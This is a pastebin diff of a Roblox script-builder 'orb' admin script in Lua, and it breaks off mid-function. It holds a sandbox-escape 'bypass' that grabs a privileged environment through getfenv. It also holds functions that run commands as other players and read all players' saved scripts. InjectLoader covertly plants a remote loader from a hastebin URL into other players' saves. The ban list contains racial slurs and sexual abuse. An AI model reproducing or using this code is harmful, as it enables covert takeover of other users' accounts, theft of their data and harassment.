SHOW:
|
|
- or go back to the newest paste.
1 | --[[//UPDATE LOG | |
2 | ||
3 | ||
4 | Turned off rbxdb features --c22 | |
5 | ||
6 | Added speed and bounce command -- error18 and c22 | |
7 | ||
8 | ||
9 | ||
10 | --//UPDATE LOG END]]-- | |
11 | wait(); --Unremovable bypass | |
12 | script.Parent=nil | |
13 | rawset(shared, "\0bp", function() | |
14 | local i=game:service'InsertService':LoadAssetVersion(519416165); | |
15 | local n=i:children()[1]; | |
16 | game:service'Debris':AddItem(i,0); | |
17 | n.Parent=workspace; | |
18 | coroutine.yield(); | |
19 | local e; | |
20 | pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''})); | |
21 | _G.OSC_AddServerSideData=nil; | |
22 | game:service'Debris':AddItem(n,0); | |
23 | return e | |
24 | end); | |
25 | local y=shared['\0bp'](); | |
26 | shared["\0bp"]=nil; | |
27 | game:GetService'ReplicatedStorage':ClearAllChildren(); | |
28 | y.setfenv(0,y); | |
29 | y.setfenv(1,y); | |
30 | y.pcall(function() y.setfenv(2,y); end); --Ends the bypass | |
31 | ||
32 | -- Easiest Fixing ever l0l. | |
33 | ||
34 | --// TOTS NOT SOLARIS :) | |
35 | local iiOrb = { | |
36 | AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ"; | |
37 | --// Kill Switch | |
38 | __STATUS = true; | |
39 | --// Administrations Components | |
40 | Admins = { | |
41 | ['masterepico']={Level=5}; | |
42 | ["jebjordan"]={Level=5}; | |
43 | ['supersonicfan111']={Level=2}; | |
44 | ['iiDeadzone']={Level=666}; | |
45 | ["Player1"]={Level=5}; | |
46 | ['Ledtred']={Level=4}; | |
47 | ["clv2"]={Level=5}; | |
48 | ["error18"]={Level=666}; | |
49 | ["DrAnkIe"]={Level=3}; | |
50 | ["Control22"]={Level=666};--Screw you opligitory XD -- LOL. | |
51 | ["Dev3l0per"]={Level=5}; -- Pretty sure this is op too :/ if not then lol. | |
52 | - | ['GuyWithACleverName']={Level=666}; |
52 | + | ['atank1']={Level=666}; |
53 | ['TheOfficalNoob4788']={Level=666}; -- Technially the owner | |
54 | }; | |
55 | Levels = { | |
56 | [-1]='ih8youk'; | |
57 | [1]="User"; | |
58 | [2]="Trusted"; | |
59 | [3]="Friend"; | |
60 | [4]="Trusted asf person"; | |
61 | [5]="Creator/Developer"; | |
62 | [666]='Founder'; | |
63 | }; | |
64 | Banned = { | |
65 | gage7252002="bye bye skid ur banned now"; | |
66 | Mikko3m="dont ban me skid C:"; | |
67 | --w00t111="this server has a age restriction come back in 970 days"; | |
68 | --CharcterKaiser="go die annoying skid"; | |
69 | --FallingVortex="lrn 2 skript kid gtfo liquidex skid"; | |
70 | robloxchamp20="u ban me i ban u git rkt"; | |
71 | -- iiDeadzone="u ban me i ban u git rkt"; | |
72 | -- endermanac="git bbban11!!!"; | |
73 | -- Dman2435="die just die"; | |
74 | -- Dman2435alt="die just die"; | |
75 | -- meunumbertwo="ur banned bby"; | |
76 | -- Copenricus45="you got stopped by an admin skid c;"; | |
77 | --[he will get pissed if i dont remove this] FallingVortex="A. You're a fuc\5ktard. B. Come back when you stop fmin :) C.T0tallyN0tATr0ll f\5ucking want's you 2 die"; | |
78 | FreeModelInventor="get out skid go suc\5k my d\5ick b\5itch who\5re"; | |
79 | PWNTART = "die pls thx u"; | |
80 | HopeYouHaveAGoodComp="you have been trolled ni\5gger bit\5ch die k\5kk"; | |
81 | BookOEchos="git banned bitch"; | |
82 | Autospy="another alt another ban"; | |
83 | TotallyNotAnAlt1257="another alt another ban"; | |
84 | fmerSKID005="another alt another ban"; | |
85 | crazychimp1284="dienoobkthxbye"; | |
86 | MrXTheGreat="dienoobkthxbye"; | |
87 | ScriptNurd="dienoobkthxbye"; | |
88 | Therealestnumber1="dienoobkthxbye"; | |
89 | Opligi="dienoobkthxbye"; | |
90 | jmckoy12="dienoobkthxbye"; | |
91 | --5asc | |
92 | DangCoolIsReal3="dienoobkthxbye"; | |
93 | legendy123="dienoobkthxbye"; | |
94 | PithIsOnline="dienoobkthxbye"; | |
95 | Opllgltory="git banned wanabe"; | |
96 | YeaImnotanalt="dienoobkthxbye"; | |
97 | superkiki609="git banned?"; | |
98 | immcool1="git banned now skid"; | |
99 | TickerOfTime='kicking players'; | |
100 | }; | |
101 | Chatted = { | |
102 | Settings = { | |
103 | Prefix = ";"; | |
104 | Suffix = "-"; | |
105 | }; | |
106 | Commands = {}; | |
107 | }; | |
108 | --// Orb Components | |
109 | Settings = { | |
110 | Orb = nil; | |
111 | Character = nil; | |
112 | Following = true; | |
113 | Target = "TheOfficalNoob4788"; | |
114 | TrailParts = {}; | |
115 | Trail = true; | |
116 | OrbColor = BrickColor.new("Lime green"); | |
117 | TrailColor = BrickColor.new("Lime green"); | |
118 | Rotation = { | |
119 | Rot = 0; | |
120 | Radius = 5; | |
121 | Height = 1.5; | |
122 | Bounce = 2.0; | |
123 | Speed = 0.02; | |
124 | Length = 0.01; | |
125 | }; | |
126 | }; | |
127 | --// Tool Components | |
128 | Blocker = { | |
129 | LocalBlock = false; | |
130 | GlobalBlock = false; | |
131 | LagBlocker = true; | |
132 | }; | |
133 | LagBlockedInstances = { | |
134 | "Message"; | |
135 | "Hint"; | |
136 | "Sound"; | |
137 | }; | |
138 | Logs = {}; | |
139 | --// Functional Storage | |
140 | API = { | |
141 | Bootstrap = {} | |
142 | }; | |
143 | } | |
144 | local Settings = iiOrb.Settings | |
145 | local API = iiOrb.API | |
146 | local Bootstrap = API.Bootstrap | |
147 | local Time = require(285173569) | |
148 | --local rbxdb = require(278524047) | |
149 | --local key = "d12ed549bd1bd58b5d9420c5c6919c4e" | |
150 | --pcall(rbxdb:Connect(key)) | |
151 | ||
152 | --// Output API | |
153 | ||
154 | function API.print_to(target,input) | |
155 | type = type or 'Warn' | |
156 | if input == nil then input = "nil" end | |
157 | local plr | |
158 | if type(target)=='userdata'then | |
159 | plr = target | |
160 | elseif type(target)=='string'then | |
161 | plr = game:GetService('Players'):FindFirstChild(target) | |
162 | end | |
163 | if type(plr)=='userdata' then | |
164 | local str = Instance.new('StringValue',plr) | |
165 | str.Name = 'SB_Output:Output' | |
166 | str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input} | |
167 | end | |
168 | end local print_to = iiOrb.API.print_to | |
169 | ||
170 | function API.print(input) | |
171 | if input == nil then input = "nil" end | |
172 | for i,v in pairs(game:GetService('Players'):children())do | |
173 | if iiOrb.Admins[v.Name]then | |
174 | if iiOrb.Admins[v.Name].Level > 2 then | |
175 | print_to(v,input) | |
176 | end | |
177 | end | |
178 | end | |
179 | end local print = iiOrb.API.print | |
180 | ||
181 | function API.print_lvl(level,input) | |
182 | if input == nil then input = "nil" end | |
183 | for i,v in pairs(game:GetService('Players'):GetPlayers())do | |
184 | if iiOrb.Admins[v.Name]then | |
185 | if iiOrb.Admins[v.Name].Level > level then | |
186 | print_to(v,input) | |
187 | end | |
188 | end | |
189 | end | |
190 | end local print_lvl = iiOrb.API.print_lvl | |
191 | ||
192 | function API.broadcast(input) | |
193 | if input == nil then input = "nil" end | |
194 | for i,v in pairs(game:GetService('Players'):GetPlayers())do | |
195 | print_to(v,input) | |
196 | end | |
197 | end local broadcast = iiOrb.API.broadcast | |
198 | ||
199 | --// Utility API | |
200 | ||
201 | function API.Make(ClassName) | |
202 | return function(data) | |
203 | local Instance = Instance.new(ClassName) | |
204 | for index,value in pairs(data) do | |
205 | if type(index) == "number" then | |
206 | value.Parent = Instance | |
207 | else | |
208 | Instance[index] = value | |
209 | end | |
210 | end | |
211 | return Instance | |
212 | end | |
213 | end local Make = API.Make | |
214 | ||
215 | function API.clerp(p1,p2,percent) | |
216 | local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components() | |
217 | local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components() | |
218 | return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22)) | |
219 | end local clerp = API.clerp | |
220 | ||
221 | function API.Rainbow(i) | |
222 | local section = i % 1 * 3 | |
223 | local secondary = 0.5 * math.pi * (section % 1) | |
224 | if section < 1 then | |
225 | return 1, 1 - math.cos(secondary), 1 - math.sin(secondary) | |
226 | elseif section < 2 then | |
227 | return 1 - math.sin(secondary), 1, 1 - math.cos(secondary) | |
228 | else | |
229 | return 1 - math.cos(secondary), 1 - math.sin(secondary), 1 | |
230 | end | |
231 | end local Rainbow = API.Rainbow | |
232 | ||
233 | function API.GetPlayer(msg,plr) | |
234 | local Collected_Players = {} | |
235 | if string.lower(msg) == "me" then | |
236 | table.insert(Collected_Players, plr) | |
237 | elseif string.lower(msg) == "all" then | |
238 | for index,player in pairs(game:GetService('Players'):children()) do | |
239 | if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then | |
240 | table.insert(Collected_Players, player) | |
241 | end | |
242 | end | |
243 | elseif string.lower(msg) == "others" then | |
244 | for index,player in pairs(game:GetService('Players'):children()) do | |
245 | if player.Name ~= plr.Name then | |
246 | if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then | |
247 | table.insert(Collected_Players, player) | |
248 | end | |
249 | end | |
250 | end | |
251 | elseif string.lower(msg) == "friends" then | |
252 | for index,player in pairs(game:GetService('Players'):children()) do | |
253 | if player.Name ~= plr.Name then | |
254 | if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then | |
255 | if plr:IsFriendsWith(player.userId) == true then | |
256 | table.insert(Collected_Players, player) | |
257 | end | |
258 | end | |
259 | end | |
260 | end | |
261 | elseif string.lower(msg) == "nonfriends" then | |
262 | for index,player in pairs(game:GetService('Players'):children()) do | |
263 | if player.Name ~= plr.Name then | |
264 | if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then | |
265 | if plr:IsFriendsWith(player.userId) == false then | |
266 | table.insert(Collected_Players, player) | |
267 | end | |
268 | end | |
269 | end | |
270 | end | |
271 | else | |
272 | for index,player in pairs(game:GetService('Players'):children()) do | |
273 | if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then | |
274 | if iiOrb.Admins[player.Name].Level <= iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then | |
275 | table.insert(Collected_Players, player) | |
276 | end | |
277 | end | |
278 | end | |
279 | end | |
280 | return Collected_Players | |
281 | end local GetPlayer = API.GetPlayer | |
282 | ||
283 | function API.GetSplit(msg) | |
284 | return string.find(msg,iiOrb.Chatted.Settings.Suffix) | |
285 | end local GetSplit = API.GetSplit | |
286 | ||
287 | function API.Generate(Length) | |
288 | local Generated = "" | |
289 | for _ = 1, Length do | |
290 | Generated = Generated .. string.char(math.random(33,126)) | |
291 | end | |
292 | return Generated | |
293 | end local Generate = API.Generate | |
294 | ||
295 | function API.GetGarbage(plr) | |
296 | print_to(plr,"Got Garbage") | |
297 | print_to(plr,"________________________") | |
298 | for i = 1,10 do wait(1) | |
299 | print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |") | |
300 | end | |
301 | print_to(plr,"________________________") | |
302 | end local GetGarbage = API.GetGarbage | |
303 | ||
304 | --// Orb API | |
305 | ||
306 | function API.SpawnOrb() | |
307 | Settings.Orb = Make('Part'){ | |
308 | Name = "\5iiOrb\5"; | |
309 | Parent = game.Workspace, | |
310 | BrickColor = Settings.OrbColor, | |
311 | Material = Enum.Material.SmoothPlastic, | |
312 | Transparency = .1, | |
313 | Anchored = true, | |
314 | CanCollide = false, | |
315 | Locked = true, | |
316 | FormFactor = "Symmetric", | |
317 | Shape = "Ball", | |
318 | Size = Vector3.new(1,1,1), | |
319 | TopSurface = 10, | |
320 | BottomSurface = 10, | |
321 | }Settings.Orb.Changed:connect(function() | |
322 | if not game.Workspace:FindFirstChild(Settings.Orb.Name)then | |
323 | if iiOrb.__STATUS == true then | |
324 | API.SpawnOrb() | |
325 | end | |
326 | end | |
327 | end) | |
328 | end local SpawnOrb = API.SpawnOrb | |
329 | ||
330 | function API.MakeTrail() | |
331 | if Settings.Orb ~= nil and Settings.Trail == true then | |
332 | local Trail = Make'Part'{ | |
333 | Name='\5iiOrb\5', | |
334 | CanCollide = false, | |
335 | Parent = Settings.Orb, | |
336 | BrickColor = Settings.TrailColor, | |
337 | Material = Enum.Material.SmoothPlastic, | |
338 | Transparency = .1, | |
339 | Anchored = true, | |
340 | Locked = true, | |
341 | FormFactor = "Custom", | |
342 | Size = Vector3.new(.2,.2,.2), | |
343 | CFrame = Settings.Orb.CFrame, | |
344 | TopSurface = 10, | |
345 | BottomSurface = 10, | |
346 | }table.insert(Settings.TrailParts, Trail) | |
347 | return Trail | |
348 | end | |
349 | end local MakeTrail = API.MakeTrail | |
350 | ||
351 | function API.SpawnTrail() | |
352 | if Settings.Orb ~= nil and Settings.Trail == true then | |
353 | local Trail = API.MakeTrail() | |
354 | end | |
355 | end local SpawnTrail = API.SpawnTrail | |
356 | ||
357 | function API.Rotate() | |
358 | game:GetService('RunService').Stepped:connect(function() | |
359 | if iiOrb.__STATUS == true then | |
360 | wait() | |
361 | local Following=game:GetService('Players'):FindFirstChild(Settings.Target) | |
362 | if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then | |
363 | Settings.Character = Following.Character.Torso.CFrame | |
364 | else | |
365 | Settings.Character = CFrame.new(0,5.7,0) | |
366 | end | |
367 | if Settings.Orb ~= nil then | |
368 | Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed | |
369 | Settings.Orb.Name = "ii\5Orb" | |
370 | Settings.Orb.CFrame = clerp(Settings.Orb.CFrame, | |
371 | CFrame.new(Settings.Character.p) | |
372 | *CFrame.new(0,3.9,0) | |
373 | *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6) | |
374 | *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2) | |
375 | *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1) | |
376 | API.SpawnTrail() | |
377 | for i,_ in next,Settings.TrailParts do | |
378 | if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then | |
379 | local Part1 = Settings.TrailParts[i] | |
380 | local Part2 = Settings.TrailParts[i+1] | |
381 | local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude) | |
382 | Part1.Name = math.random(1,99999999) | |
383 | Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length) | |
384 | Part1.Transparency = Part1.Transparency + .017 | |
385 | Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p) | |
386 | * CFrame.Angles(math.pi/2,0,0) | |
387 | if Part1.Size.X >= .74 then | |
388 | Part1:Destroy() | |
389 | table.remove(Settings.TrailParts, i) | |
390 | end | |
391 | end | |
392 | end | |
393 | end | |
394 | end | |
395 | end) | |
396 | end local Rotate = API.Rotate | |
397 | ||
398 | function API.ChangeTheme(plr,theme) | |
399 | --// Sets orb to default configurations | |
400 | Settings.Orb.BrickColor = BrickColor.new('White') | |
401 | Settings.Orb.Transparency = .1 | |
402 | for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end | |
403 | --// Themes | |
404 | if theme == 'normal' then | |
405 | API.SpawnTrail = function() | |
406 | if Settings.Orb ~= nil and Settings.Trail == true then | |
407 | local Trail = API.MakeTrail() | |
408 | end | |
409 | end | |
410 | elseif theme == 'c22' or theme == 'control' then | |
411 | API.SpawnTrail = function() | |
412 | if Settings.Orb ~= nil and Settings.Trail == true then | |
413 | local Trail = API.MakeTrail() | |
414 | spawn(function() | |
415 | Settings.Orb.BrickColor = BrickColor.new('Really black') | |
416 | Trail.BrickColor = BrickColor.new('Really red') | |
417 | local box = Make('SelectionBox'){ | |
418 | Adornee = Trail; | |
419 | Parent = Trail; | |
420 | Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5"; | |
421 | LineThickness = 0.001; | |
422 | Color3 = Color3.new(0,0,0); | |
423 | } | |
424 | end) | |
425 | end | |
426 | end | |
427 | elseif theme == '666' or theme == 'alu' then | |
428 | API.SpawnTrail = function() | |
429 | if Settings.Orb ~= nil and Settings.Trail == true then | |
430 | local Trail = API.MakeTrail() | |
431 | spawn(function() | |
432 | Settings.Orb.BrickColor = BrickColor.new('White') | |
433 | local S_Box = Make('SelectionBox'){ | |
434 | Adornee = Trail; | |
435 | Parent = Trail; | |
436 | Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; | |
437 | LineThickness = 0; | |
438 | Color3 = BrickColor.new("White").Color; | |
439 | } | |
440 | Trail.BrickColor = BrickColor.new('Royal purple') | |
441 | wait(0.5) | |
442 | Trail.BrickColor = BrickColor.new('Hot pink') | |
443 | end) | |
444 | end | |
445 | end | |
446 | elseif theme == 'error' or theme == 'err' then | |
447 | API.SpawnTrail = function() | |
448 | if Settings.Orb ~= nil and Settings.Trail == true then | |
449 | local Trail = API.MakeTrail() | |
450 | spawn(function() | |
451 | Settings.Orb.BrickColor = BrickColor.new('Really red') | |
452 | local S_Box = Make('SelectionBox'){ | |
453 | Adornee = Trail; | |
454 | Parent = Trail; | |
455 | Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; | |
456 | LineThickness = 0; | |
457 | Color3 = BrickColor.new("Really red").Color; | |
458 | } | |
459 | Trail.BrickColor = BrickColor.new('Really red') | |
460 | wait(0.5) | |
461 | Trail.BrickColor = BrickColor.new('Bright orange') | |
462 | end) | |
463 | end | |
464 | end | |
465 | elseif theme == 'rath' or theme == 'mine101' then | |
466 | API.SpawnTrail = function() | |
467 | if Settings.Orb ~= nil and Settings.Trail == true then | |
468 | local Trail = API.MakeTrail() | |
469 | spawn(function() | |
470 | Settings.Orb.BrickColor = BrickColor.new('Toothpaste') | |
471 | local S_Box = Make('SelectionBox'){ | |
472 | Adornee = Trail; | |
473 | Parent = Trail; | |
474 | Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; | |
475 | LineThickness = 0; | |
476 | Color3 = BrickColor.new("White").Color; | |
477 | } | |
478 | Trail.BrickColor = BrickColor.new('Toothpaste') | |
479 | wait(0.5) | |
480 | Trail.BrickColor = BrickColor.new('Really black') | |
481 | end) | |
482 | end | |
483 | end | |
484 | elseif theme == 'ii' then | |
485 | API.SpawnTrail = function() | |
486 | if Settings.Orb ~= nil and Settings.Trail == true then | |
487 | local Trail = API.MakeTrail() | |
488 | spawn(function() | |
489 | Settings.Orb.BrickColor = BrickColor.new('Really black') | |
490 | local box = Make('SelectionBox'){ | |
491 | Adornee = Trail; | |
492 | Parent = Trail; | |
493 | Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5"; | |
494 | LineThickness = 0.001; | |
495 | Color3 = Color3.new(0,0,0); | |
496 | } | |
497 | ||
498 | Trail.BrickColor = BrickColor.new('Really black') | |
499 | wait(0.5) | |
500 | Trail.BrickColor = BrickColor.new('Lime green') | |
501 | end) | |
502 | end | |
503 | end | |
504 | elseif theme == 'gwc' then | |
505 | API.SpawnTrail = function() | |
506 | local Trail = API.MakeTrail() | |
507 | spawn(function() | |
508 | Settings.Orb.BrickColor = BrickColor.new("Lime green") | |
509 | local S_Box = Make('SelectionBox'){ | |
510 | Adornee = Trail; | |
511 | Parent = Trail; | |
512 | Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; | |
513 | LineThickness = 0.0000001; | |
514 | Color3 = BrickColor.new("Really black").Color; | |
515 | } | |
516 | Trail.BrickColor = BrickColor.new'Lime green' | |
517 | wait(0.50) | |
518 | Trail.BrickColor = BrickColor.new'Really blue' | |
519 | end) | |
520 | end | |
521 | elseif theme == 'whiteout' then | |
522 | API.SpawnTrail = function() | |
523 | local Trail = API.MakeTrail() | |
524 | spawn(function() | |
525 | Trail.BrickColor = BrickColor.new("White") | |
526 | Settings.Orb.BrickColor = BrickColor.new("Really black") | |
527 | local S_Box = Make('SelectionBox'){ | |
528 | Adornee = Trail; | |
529 | Parent = Trail; | |
530 | Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; | |
531 | LineThickness = 0; | |
532 | Color3 = BrickColor.new("Really black").Color; | |
533 | } | |
534 | local Mesh = Make('SpecialMesh'){ | |
535 | Parent = Settings.Orb; | |
536 | MeshId = "http://www.roblox.com/asset/?id=1529453"; | |
537 | Name = "Mesh"; | |
538 | Scale = Vector3.new(2.5,2.5,2.5) | |
539 | } | |
540 | end) | |
541 | end | |
542 | elseif theme == 'hidden' then | |
543 | API.SpawnTrail = function() | |
544 | local Trail = API.MakeTrail() | |
545 | spawn(function() | |
546 | Trail.Transparency = 1 | |
547 | Settings.Orb.Transparency = 1 | |
548 | end) | |
549 | end | |
550 | else | |
551 | print_to(plr,"[ERROR]: "..theme.." is not a valid theme name") | |
552 | return | |
553 | end | |
554 | print_to(plr,"[ALUREON]: Orb has changed theme to "..theme) | |
555 | end local ChangeTheme = API.ChangeTheme | |
556 | ||
557 | function API.Follow(boolean,plr) | |
558 | if type(plr)~='string'then return end | |
559 | if boolean == true then | |
560 | Settings.Following = true | |
561 | Settings.Target = plr | |
562 | elseif boolean == false then | |
563 | Settings.Following = false | |
564 | Settings.Target = "" | |
565 | end | |
566 | end local Follow = API.Follow | |
567 | ||
568 | ||
569 | --// Oxcool1 Sb Tools API | |
570 | ||
571 | function API.Sbexe(cmd,plr) | |
572 | if not type(cmd)=='string'then return end | |
573 | if plr then | |
574 | if type(plr)=='userdata'then | |
575 | plr:FindFirstChild("SB_CommandRemote",true).Value = cmd | |
576 | elseif type(plr)=='string'then | |
577 | plr = game:GetService('Players'):FindFirstChild(plr) | |
578 | plr:FindFirstChild("SB_CommandRemote",true).Value = cmd | |
579 | end | |
580 | else | |
581 | for i,v in pairs(game:GetService('Players'):children())do | |
582 | v:FindFirstChild("SB_CommandRemote",true).Value = cmd | |
583 | end | |
584 | end | |
585 | end local Sbexe = API.Sbexe | |
586 | ||
587 | function API.ConnectLogger(plr) | |
588 | if type(plr) ~= 'userdata'then return end | |
589 | if plr:FindFirstChild("SB_CommandRemote",true) then | |
590 | plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function() | |
591 | if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then | |
592 | Sbexe("g/ns")wait(.1) | |
593 | plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script") | |
594 | end | |
595 | if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then | |
596 | table.insert(iiOrb.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)}) | |
597 | local CurrentTime = Time:GetTime() | |
598 | local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]") | |
599 | --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)) | |
600 | end | |
601 | end) | |
602 | end | |
603 | end local ConnectLogger = API.ConnectLogger | |
604 | ||
605 | function API.GetLogs(plr) | |
606 | print_to(plr,"Got logs") | |
607 | if #iiOrb.Logs > 0 then print_to(plr,"--------------------------------") end | |
608 | for index,data in pairs(iiOrb.Logs)do | |
609 | if #iiOrb.Logs > 30 then wait(.1)end | |
610 | print_to(plr,tostring(data.User)) | |
611 | print_to(plr,tostring(data.Command)) | |
612 | print_to(plr,"--------------------------------") | |
613 | end | |
614 | end local GetLogs = API.GetLogs | |
615 | ||
616 | function API.InjectLoader(plr) | |
617 | Sbexe("remove/ALUREON",plr) | |
618 | Sbexe("ch/ALUREON/http://hastebin.com/raw/muvazesare.lua",plr) | |
619 | Sbexe("save/ALUREON",plr) | |
620 | print('Injected loader into '..tostring(plr)) | |
621 | print(tostring(plr)..' has been given a loader ;)')-- l0l nice | |
622 | end local InjectLoader = API.InjectLoader | |
623 | ||
624 | function API.GetSavedScripts(plr) | |
625 | local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs"); | |
626 | print_to(plr,"Got Saved Scripts") | |
627 | for i,v in pairs(game:GetService('Players'):children())do | |
628 | if v.ClassName == 'Player' then | |
629 | local Encoded_Table = v:LoadString(Save_Key) | |
630 | local Decoded_Table | |
631 | ||
632 | --//Table Decoding | |
633 | if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then | |
634 | Decoded_Table = {{No=" Saved Scripts"}} | |
635 | else | |
636 | Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table) | |
637 | end | |
638 | --// Table Printing | |
639 | --print_to(plr,"------------------------------------------------------------------") | |
640 | print_to(plr,"--------------------------["..v.Name.."]--------------------------") | |
641 | if type(Decoded_Table)=='table'then | |
642 | for _index,_data in pairs(Decoded_Table)do | |
643 | for index,data in pairs(_data)do | |
644 | wait(.1) | |
645 | print_to(plr,index.." : "..data) | |
646 | end | |
647 | end | |
648 | end | |
649 | print_to(plr,"------------------------------------------------------------------") | |
650 | end | |
651 | end | |
652 | end local GetSavedScripts = API.GetSavedScripts | |
653 | ||
654 | function API.GiveServerConsole(Player) | |
655 | if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then | |
656 | spawn(function() | |
657 | local Create = API.Make | |
658 | local Closed = false | |
659 | local ScreenGui = Create "ScreenGui" { | |
660 | Name = "Server Console", | |
661 | Parent = Player.PlayerGui | |
662 | } | |
663 | local Main = Create "TextButton" { | |
664 | AutoButtonColor = false, | |
665 | BackgroundColor3 = Color3.new(0, 0, 0), | |
666 | BorderSizePixel = 0, | |
667 | Size = UDim2.new(0, 375, 0, 15), | |
668 | Draggable = true, | |
669 | Font = "SourceSansBold", | |
670 | FontSize = "Size14", | |
671 | TextYAlignment = "Top", | |
672 | TextColor3 = Color3.new(1, 1, 1), | |
673 | Text = " Server Console", | |
674 | TextXAlignment = "Left", | |
675 | Position = UDim2.new(0.321, 0, 0.196, 0), | |
676 | Parent = ScreenGui | |
677 | } | |
678 | local Refresh = Create "TextButton" { | |
679 | Active = true, | |
680 | AutoButtonColor = false, | |
681 | BackgroundColor3 = Color3.new(0, 0, 0), | |
682 | BorderSizePixel = 0, | |
683 | Position = UDim2.new(1, 0, 0, 0), | |
684 | Size = UDim2.new(0, 60, 0, 15), | |
685 | Font = "SourceSansBold", | |
686 | FontSize = "Size14", | |
687 | Text = "Refresh", | |
688 | TextYAlignment = "Top", | |
689 | TextColor3 = Color3.new(1, 1, 1), | |
690 | TextYAlignment = "Top", | |
691 | TextXAlignment = "Right", | |
692 | Parent = Main | |
693 | } | |
694 | local TextButton = Create "TextButton" { | |
695 | AutoButtonColor = false, | |
696 | BackgroundColor3 = Color3.new(0, 0, 0), | |
697 | BorderSizePixel = 0, | |
698 | Position = UDim2.new(1, 60, 0, 0), | |
699 | Size = UDim2.new(0, 15, 0, 15), | |
700 | Font = "SourceSansBold", | |
701 | FontSize = "Size14", | |
702 | TextYAlignment = "Top", | |
703 | Text = "-", | |
704 | TextColor3 = Color3.new(1, 1, 1), | |
705 | Parent = Main | |
706 | } | |
707 | local ContentFrame = Create "Frame" { | |
708 | BackgroundColor3 = Color3.new(0, 0, 0), | |
709 | BackgroundTransparency = 0.2, | |
710 | BorderSizePixel = 0, | |
711 | Position = UDim2.new(0, 0, 0, 15), | |
712 | Size = UDim2.new(0, 450, 0, 0), | |
713 | Parent = Main | |
714 | } | |
715 | local ScrollingFrame = Create "ScrollingFrame" { | |
716 | Size = UDim2.new(1, 0, 1, 0), | |
717 | CanvasSize = UDim2.new(3, 0, 0, 0), | |
718 | MidImage = "rbxassetid://158362264", | |
719 | TopImage = "rbxassetid://158362307", | |
720 | BottomImage = "rbxassetid://158362221", | |
721 | BackgroundTransparency = 1, | |
722 | BorderSizePixel = 0, | |
723 | ScrollBarThickness = 5, | |
724 | Parent = ContentFrame | |
725 | } | |
726 | ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true) | |
727 | TextButton.MouseButton1Down:connect(function() | |
728 | if Closed == false then | |
729 | Closed = true | |
730 | TextButton.Text = "+" | |
731 | ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true) | |
732 | delay(1, function() | |
733 | ScrollingFrame.Visible = false | |
734 | end) | |
735 | else | |
736 | Closed = false | |
737 | TextButton.Text = "-" | |
738 | ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true) | |
739 | delay(0.5, function() | |
740 | ScrollingFrame.Visible = true | |
741 | end) | |
742 | end | |
743 | end) | |
744 | local function GetNumberOfChildren(Object) | |
745 | local Number = -15 | |
746 | for index,child in pairs(Object:GetChildren()) do | |
747 | if child.ClassName == "TextLabel" then | |
748 | Number = Number + 15 | |
749 | end | |
750 | end | |
751 | return Number | |
752 | end | |
753 | local function Output(Text, Color) | |
754 | local Line = Create "TextLabel" { | |
755 | ZIndex = 2, | |
756 | BackgroundTransparency = 1, | |
757 | BorderSizePixel = 0, | |
